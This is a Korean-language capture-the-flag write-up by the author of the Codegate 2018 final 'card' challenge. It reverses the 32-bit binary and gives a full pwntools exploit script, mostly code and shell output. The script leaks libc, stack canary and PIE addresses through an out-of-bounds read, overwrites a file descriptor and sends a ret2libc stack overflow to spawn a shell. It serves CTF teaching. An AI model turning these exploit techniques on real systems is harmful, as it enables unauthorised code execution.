Codegate2018 card

By wooeong | April 30, 2018

Codegate 2018 Final Card 출제자 Write Up

2018년도 코드게이트 본선에 출제되었던 card 문제의 출제자 wooeong입니다.
풀이를 간단히 써보려고 합니다.


Challenge Overview

먼저 주어진 바이너리를 확인해봐야죠.


user@ubuntu:/root/Codegate$ file card
card: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7bebeb920db75c8375d169ac9b662968c9168f0a, stripped

user@ubuntu:~/Codegate$ ./checksec.sh --file card
RELRO           STACK CANARY      NX            PIE             RPATH      
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   
  
RUNPATH	        FORTIFY	  Fortified Fortifiable  FILE   
No RUNPATH      Yes       0         3	         card   


Full RELRO, Stack Canary, NX, PIE, Stripped….. 출제자는 변태가 분명합니다.
그래도 32bit 바이너리네요 !! 64bit의 세상에서 보기 드문 32bit 군요.


그럼 바이너리를 실행시켜봅시다.
바이너리는 역시 실행시켜 봐야 제맛이죠.


user@ubuntu:/root/Codegate$ ./card 
Card Matching Game !
Let's Play Game
==================
1. Game
2. How To ?
3. Exit
>> 1
====================
1. Easy		(4x4)
2. Hard		(8x8)
3. **Hell**	(12x12)
4. Return
>> 3
Try :   0 / 72  Hits :   0 /72
    0    1    2    3    4    5    6    7    8    9   10   11
 0 [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]
 1 [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]
 2 [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]
 3 [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]
 4 [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]
 5 [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]
 6 [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]
 7 [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]
 8 [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]
 9 [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]
10 [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]
11 [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]  [?]

(first) x, y :


카드 게임이군요. 그런데 가려진 카드가 144개 인데 기회는 72번이네요. 이것으로 출제자는 변태임이 확실합….


Reversing

바이너리는 IDA로 보내야죠. 리버싱은 IDA 가


스테이지 선택시 77777을 입력하면 히든 스테이지같은 곳에 진입할 수 있습니다.
sub_D3E 함수가 게임을 하는 핵심함수입니다.


이 부분의 함수는 대략적으로 다음과 같습니다.


1. 게임클리어 시 출력 될 뱃지파일을 오픈합니다.
2. 이후 카드 게임을 시작합니다.
3. X, Y 좌표를 받으며, 음수를 받으면 게임을 종료 시킵니다. 그러나 맵을 벗어난 큰 수도 받을 수 있군요.
4. 첫번째 X,Y 와 두번째 X, Y 의 값이 같으면 첫번째와 두번째의 값들을 모두 0으로 초기화한다.
5. 시도 할때마다 Try Count가 올라가며 Hits Count가 목표치에 도달 시 게임을 클리어하게 됩니다.
6. 게임 클리어 시 뱃지파일을 Read 한 후 출력합니다.


좌표를 받는 곳에서 OOB Read가 일어나는군요. 그러나 이것만으로는 Exploit하기는 힘들어 보입니다만,
분석 과정에서 뱃지 파일을 Openfdbss에 저장되어 있는 것을 확인할 수 있습니다.

이 곳을 0으로 만들어서, 이 후 게임 클리어가 되었을때 read하는 fd사용자의 fd(0)로 만든다면
Stack Overflow가 발생하겠군요!

보호기법이 많이 걸려있어서 릭leak해야 할 것이 많지만, mapStack에 있기 때문에 어렵지 않게 모두 구할 수 있겠습니다.


Exploit

익스플로잇 과정은 아래와 같습니다.

1. CardGame 을 통해 게임 클리어를 위한 수, fd overwrite 시 사용 될 숫자를 찾는다.
2. Libc, Stack, Canary, Pie 주소를 구한다.
3. Pie 주소를 기반으로 bss에 있는 fd를 0으로 만든다.
4. 게임 클리어(Hits 목표치를 0으로 만듬.)를 통해 뱃지를 출력하는 함수로 이동한다.
5. overwrited 된 fd ( 0 = stdin )를 통해 Stack overflow로 Exploit!

로컬에서 그냥 돌리면 overwritefd3이지만!
문제 세팅을 할 때 socat을 통해 바이너리를 구동했는데,
socat을 통해 사용하니 3번과 4번을 socat이 사용해서 fd가 5번으로 되더라고요사실 출제자도 이거에 한번 낚임…

물론 릭을 통해 정확한 값을 알 수 있지만, 당연히 3번이라고 생각하고 익스플로잇을 짜다보면 되지 않는다는…..컴퓨터는 거짓말을 하지 않습니다.


제가 작성한 익스플로잇 코드는 다음과 같습니다.


from pwn import *
import ctypes

REMOTE = 1
if REMOTE == 1:
    p = remote('localhost', 8888)
    fd = 5
else:
    p = process("./card")
    fd = 3

raw_input()

p.recvuntil(">> ")
p.send("1\n")
p.recvuntil(">> ")
p.send("77777\n")

check_map = [[-1 for x in range(24)] for y in range(24)]
try_count = 0
hit_count = 0

def get_xy_in_map(num):
    for j in range(0, 24):
        for i in range(0, 24):
            if check_map[i][j] == num:
                return (i, j)
    return None


def find_undefined_xy():
    for j in range(0, 24):
        for i in range(0, 24):
            if check_map[i][j] == -1:
                for jj in range(j, 24):
                    for ii in range(i+1, 24):
                        if check_map[ii][jj] == -1:
                            return (i, j) +(ii, jj)
    return None # maybe something Wrong T.T


def match(x1,y1, x2, y2):
    global try_count, hit_count
    try_count = try_count + 1
    get_try_count = p.recvuntil(": ")
    p.recvuntil(": ")
    get_hit_count = p.recvuntil("\n")

    maps_tmp = p.recvuntil(": ") # recvuntil "(first) x, y :"
    maps_tmp = maps_tmp.split("\n")
    maps_tmp.pop(0) # remove x Line number
    maps_tmp.pop() # remove "(first) x, y :"
    maps_tmp.pop() # remove "\n"

    maps = []
    for mm in maps_tmp:
        line_tmp = mm.split()
        line_tmp.pop(0) # remove y height number
        if len(line_tmp) !=  24:
            print "Map Parsing Error."
            exit()
        maps.append(line_tmp)

    for i in range(0, 24):
        for j in range(0, 24):
            if maps[i][j] == "[X]":
                check_map[i][j] = 0

    p.sendline(str(x1) + ", " + str(y1))
    first_ret = p.recvuntil(": ") # recvuntil "(second) x, y :"
    first_ret = int(first_ret.split("\n")[0].split("=")[1])
    try:
        check_map[x1][y1] = first_ret
    except IndexError:
        pass

    p.sendline(str(x2) + ", " + str(y2))
    second_ret = p.recvuntil("\n")
    second_ret = int(second_ret.split("\n")[0].split("=")[1])
    try:
        check_map[x2][y2] = second_ret
    except IndexError:
        pass

    match_result = p.recvuntil("\n")
    if "Wrong T.T" in match_result:
        match_result = False
    elif "Correct !" in match_result:
        hit_count = hit_count + 1
        match_result = True
        try:
            check_map[x1][y1] = 0
        except:
            pass
        try:
            check_map[x2][y2] = 0
        except:
            pass
    else:
        print "[!] match Result : ", match_result
    return (first_ret, second_ret), (match_result, get_try_count, get_hit_count)

find_list = [3, 1, 1, 5, 4, 32, fd]
while find_list:
    if (get_xy_in_map(try_count+1) != None) and (try_count > 200) and (not (try_count+1) in find_list):
        init_try = get_xy_in_map(try_count+1)
        try_count = -1
        check_a, result = match(76, 23, init_try[0], init_try[1])
        print "[!] Try Count Initialize :: ", check_a, result
        continue

    next_xy = find_undefined_xy()
    check_a, result = match(next_xy[0], next_xy[1], next_xy[2], next_xy[3])
    for cc in check_a:
        if cc in find_list:
            print " [+] Found in Map : ", hex(cc), get_xy_in_map(cc)
            find_list.remove(cc)

# Libc Leak
libc_leak_part1, result = match(24, 23, 25, 23) # Libc Leak
libc_leak_part2, result = match(26, 23, 27, 23) # Libc Leak
libc_leak = u32(chr(libc_leak_part1[0]) + chr(libc_leak_part1[1]) + chr(libc_leak_part2[0]) + chr(libc_leak_part2[1]))
libc_base = libc_leak - 0x1b2d60+0x2000
print " [+] Libc Leak : ", hex(libc_leak)
print " [+] Libc Base : ", hex(libc_base)
system_libc = libc_base + 0x3A940
print " [+] System@Libc : ", hex(system_libc)
print

# Stack Leak & Map Base Addr
map_base_part1, result = match(92, 23, 93, 23) # Map Addr Leak
map_base_part2, result = match(94, 23, 95, 23) # Map Addr Leak
map_base_addr = u32(chr(map_base_part1[0]) + chr(map_base_part1[1]) + chr(map_base_part2[0]) + chr(map_base_part2[1]))
print " [+] Map Base Addr : ", hex(map_base_addr)
argv_1 = map_base_addr - 0x26c
print " [+] system(*Argv[1]) : ", hex(argv_1)

canary_part1, result = match(100, 23, 101, 23) # Stack Canary Leak
canary_part2, result = match(102, 23, 103, 23) # Stack Canary Leak
canary = u32(chr(canary_part1[0]) + chr(canary_part1[1]) + chr(canary_part2[0]) + chr(canary_part2[1]))
print " [+] Canary : ", hex(canary)
print

# Pie Leak
pie_part1, result = match(116, 23, 117, 23) # Pie Addr Leak
pie_part2, result = match(118, 23, 119, 23) # Pie Addr Leak
pie_leak = u32(chr(pie_part1[0]) + chr(pie_part1[1]) + chr(pie_part2[0]) + chr(pie_part2[1]))
print " [+] Pie Leak : ", hex(pie_leak)
pie_base = pie_leak - 0x012F3
print " [+] Pie Base : ", hex(pie_base)
fd_addr = pie_base + 0x3024
print " [+] fd Addr : ", hex(fd_addr)
print

# fd overwrite
mi = ctypes.c_int32(map_base_addr + fd_addr).value
cc = ctypes.c_int32(fd_addr - mi + fd_addr).value
fd_x = cc%24
fd_y = cc/24

fd_attack = get_xy_in_map(fd)
fd_overwrite, result = match(fd_x, fd_y, fd_attack[0], fd_attack[1])
print " [+] fd overwrite :: ", fd_overwrite, result

goals1_attack = get_xy_in_map(32)
goals1_overwrite, result = match(96, 23, goals1_attack[0], goals1_attack[1])
print " [+] Goals Part 1 overwrite :: ", goals1_overwrite, result

goals2_attack = get_xy_in_map(1)
goals2_overwrite, result = match(97, 23, goals2_attack[0], goals2_attack[1])
print " [+] Goals Part 2 overwrite :: ", goals2_overwrite, result

current_hit = int(result[2].split("/")[0])+1
hit_attack = get_xy_in_map(current_hit)
hit_attack, result = match(72, 23, hit_attack[0], hit_attack[1])
print " [+] Hit overwrite :: ", hit_attack, result

ex_ret = p.recvuntil("\n")
print ex_ret
if "Cleeaaaarr ~!!" in ex_ret:
    print "Success !!"
else:
    print "Fail"
    exit()

p.recvuntil(": ")
p.sendline("asd")
p.send("/bin/sh\x00"*62 + p32(0x61616161)  + p32(canary) + "aaaa"*3 + p32(system_libc) + p32(0x0)+p32(argv_1))

p.interactive()


익스플로잇 코드를 실행하면 다음과 같이 flag를 얻을 수 있습니다…!!


(....)
[*] Switching to interactive mode
/bin/sh

asd
$ id
uid=1000(card) gid=1000(card) groups=1000(card)
$ ls -al
total 124
drwxr-xr-x  2 root card   4096 Apr 19 17:22 .
drw-r----x 24 root root   4096 Apr 19 15:49 ..
-r-xr-x---  1 root card   9596 Apr 19 15:48 card
-rw-r--r--  1 root card    112 Apr  2 04:16 easy.txt
-rw-r--r--  1 root card     46 Apr  2 04:16 flagflagflagflagflag
-rw-r--r--  1 root card    114 Apr  2 04:16 hard.txt
-rw-r--r--  1 root card    158 Apr  2 04:16 hell.txt
-rw-r--r--  1 root card    429 Apr  2 04:16 super.txt
$ cat flagflagflagflagflag
FLAG{C@rd_c@rd_Funnnnnnnnnnnnnnnnnnnnnnnnn:D}
$
comments powered by Disqus